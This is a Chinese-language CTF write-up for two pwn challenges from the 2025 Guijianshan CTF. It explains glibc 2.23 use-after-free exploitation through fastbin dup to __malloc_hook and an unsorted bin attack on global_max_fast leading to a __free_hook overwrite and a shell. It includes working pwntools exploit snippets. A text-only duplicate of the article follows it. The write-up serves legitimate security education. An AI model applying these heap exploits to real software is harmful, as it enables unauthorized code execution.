2025古剑山CTF两道pwn
字数 1201 2025-12-08 12:15:03

2025古剑山CTF PWN题解教学

题目一:PWN1(UAF漏洞利用)

漏洞分析

  • 环境:GLIBC 2.23
  • 漏洞类型:UAF(Use-After-Free)
  • 限制条件:
    • 不限制堆块申请大小
    • 限制free次数(只能3次)
    • 存在后门函数

利用思路

  1. 信息泄露

    • 申请两个0x68大小堆块(chunk0、chunk1)和两个0x100大小堆块(chunk2、chunk3)
    • 释放chunk2进入unsorted bin
    • 通过show功能泄露libc地址
  2. 双重释放攻击

    • 依次释放chunk0、chunk1、chunk0,形成fastbin循环链表
    • 通过编辑修改fd指针指向__malloc_hook附近
  3. Hook覆盖

    • 利用fastbin attack分配到__malloc_hook附近
    • 覆盖__malloc_hook为one_gadget或后门地址

关键代码分析

# 泄露libc基址
add(0,0x68,b'a')
add(1,0x68,b'a') 
add(2,0x100,b'a')
add(3,0x100,b'a')
dele(2)
show(2)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x3C4B58 - 0x20

# 双重释放攻击
dele(0)
dele(1) 
dele(0)

# 修改fd指针
add(1,0x68,b'a')
edit(1, p64(malloc_hook-0x23))

# 分配并覆盖hook
add(4,0x68,b'a')
add(5,0x68,p64(libc_base + 0x4527a))  # one_gadget

技术要点

  • unsorted bin泄露:chunk的fd指针指向main_arena结构,计算libc基址
  • fastbin dup:通过双重释放构造循环链表,实现任意地址分配
  • hook附近伪造chunk:需要找到合适的fake chunk size(如0x7f)

题目二:PWN2(受限环境下的UAF利用)

漏洞分析

  • 漏洞类型:UAF漏洞
  • 限制条件:
    • 限制堆块大小和数量
    • 只能使用unsorted bin/small bin
    • free后指针未清零,索引递增

利用思路

  1. 信息泄露

    • 通过unsorted bin泄露libc和堆地址
    • 计算关键符号的真实地址
  2. Unsorted Bin Attack

    • 修改global_max_fast值,将大块纳入fastbin管理
    • 为后续fastbin attack创造条件
  3. 堆布局利用

    • 利用chunk_size数组的可控性
    • 将chunk_size部分区域伪造成堆块进行分配
  4. hook劫持

    • 修改__free_hook为system函数
    • 通过释放包含"/bin/sh"的块获取shell

关键代码分析

# 初始堆布局
add(0xa8, b'0')  # chunk0
add(0x88, b'1')  # chunk1  
add(0x88, b'2')  # chunk2
add(0x88, b'3')  # chunk3

# 泄露libc和堆地址
dele(2)
show(2)
libc_ = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

dele(0)  
show(0)
heap = u64(p.recvuntil('\x55\x55\x55')[-6:].ljust(8, b'\x00'))

# Unsorted Bin Attack修改global_max_fast
libc_base = libc_ - 0x3C4B78
edit(0, p64(libc_) + p64(libc_base + 0x3c67f8 - 0x10))

# 利用chunk_size区域进行分配
edit(2, p64(heap - 0x30B8))  # 修改指针指向chunk_size区域
add(0x80, b'a')
add(0x80, p64(0x1000)*5 + p64(libc_base + libc.sym['__free_hook']))

# 劫持free_hook
edit(0, p64(libc_base + libc.sym['system']))
edit(1, b'/bin/sh\x00')
dele(1)  # 触发system("/bin/sh")

技术要点

  • global_max_fast攻击:通过unsorted bin attack修改该值,扩展fastbin范围
  • bss段利用:将chunk_size数组作为伪堆块进行分配
  • 受限环境绕过:在严格的堆大小限制下实现代码执行

通用利用技巧

调试技巧

def bug():
    gdb.attach(p, 'b*0x401E79')  # 关键断点

交互函数封装

def add(idx, size, content):
    # 标准化交互流程
    pass

def dele(idx):
    pass

def edit(idx, content):
    pass

def show(idx):
    pass

地址计算

def get_addr64():
    return u64(p.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))

def get_addr32():
    return u32(p.recvuntil("\xf7")[-4:])

总结

这两道题目展示了在不同限制条件下的UAF漏洞利用技术:

  1. PWN1侧重于传统的堆利用技术,如fastbin dup和hook覆盖
  2. PWN2在更严格的环境下展示了创新的利用方法,如global_max_fast攻击和bss段利用

关键掌握点:

  • 各种bin的管理机制和攻击方法
  • 信息泄露的技巧和地址计算
  • 受限环境下的创造性解决方案
  • 调试技巧和利用链的构造
2025古剑山CTF PWN题解教学 题目一:PWN1(UAF漏洞利用) 漏洞分析 环境:GLIBC 2.23 漏洞类型:UAF(Use-After-Free) 限制条件: 不限制堆块申请大小 限制free次数(只能3次) 存在后门函数 利用思路 信息泄露 : 申请两个0x68大小堆块(chunk0、chunk1)和两个0x100大小堆块(chunk2、chunk3) 释放chunk2进入unsorted bin 通过show功能泄露libc地址 双重释放攻击 : 依次释放chunk0、chunk1、chunk0,形成fastbin循环链表 通过编辑修改fd指针指向__ malloc_ hook附近 Hook覆盖 : 利用fastbin attack分配到__ malloc_ hook附近 覆盖__ malloc_ hook为one_ gadget或后门地址 关键代码分析 技术要点 unsorted bin泄露 :chunk的fd指针指向main_ arena结构,计算libc基址 fastbin dup :通过双重释放构造循环链表,实现任意地址分配 hook附近伪造chunk :需要找到合适的fake chunk size(如0x7f) 题目二:PWN2(受限环境下的UAF利用) 漏洞分析 漏洞类型:UAF漏洞 限制条件: 限制堆块大小和数量 只能使用unsorted bin/small bin free后指针未清零,索引递增 利用思路 信息泄露 : 通过unsorted bin泄露libc和堆地址 计算关键符号的真实地址 Unsorted Bin Attack : 修改global_ max_ fast值,将大块纳入fastbin管理 为后续fastbin attack创造条件 堆布局利用 : 利用chunk_ size数组的可控性 将chunk_ size部分区域伪造成堆块进行分配 hook劫持 : 修改__ free_ hook为system函数 通过释放包含"/bin/sh"的块获取shell 关键代码分析 技术要点 global_ max_ fast攻击 :通过unsorted bin attack修改该值,扩展fastbin范围 bss段利用 :将chunk_ size数组作为伪堆块进行分配 受限环境绕过 :在严格的堆大小限制下实现代码执行 通用利用技巧 调试技巧 交互函数封装 地址计算 总结 这两道题目展示了在不同限制条件下的UAF漏洞利用技术: PWN1 侧重于传统的堆利用技术,如fastbin dup和hook覆盖 PWN2 在更严格的环境下展示了创新的利用方法,如global_ max_ fast攻击和bss段利用 关键掌握点: 各种bin的管理机制和攻击方法 信息泄露的技巧和地址计算 受限环境下的创造性解决方案 调试技巧和利用链的构造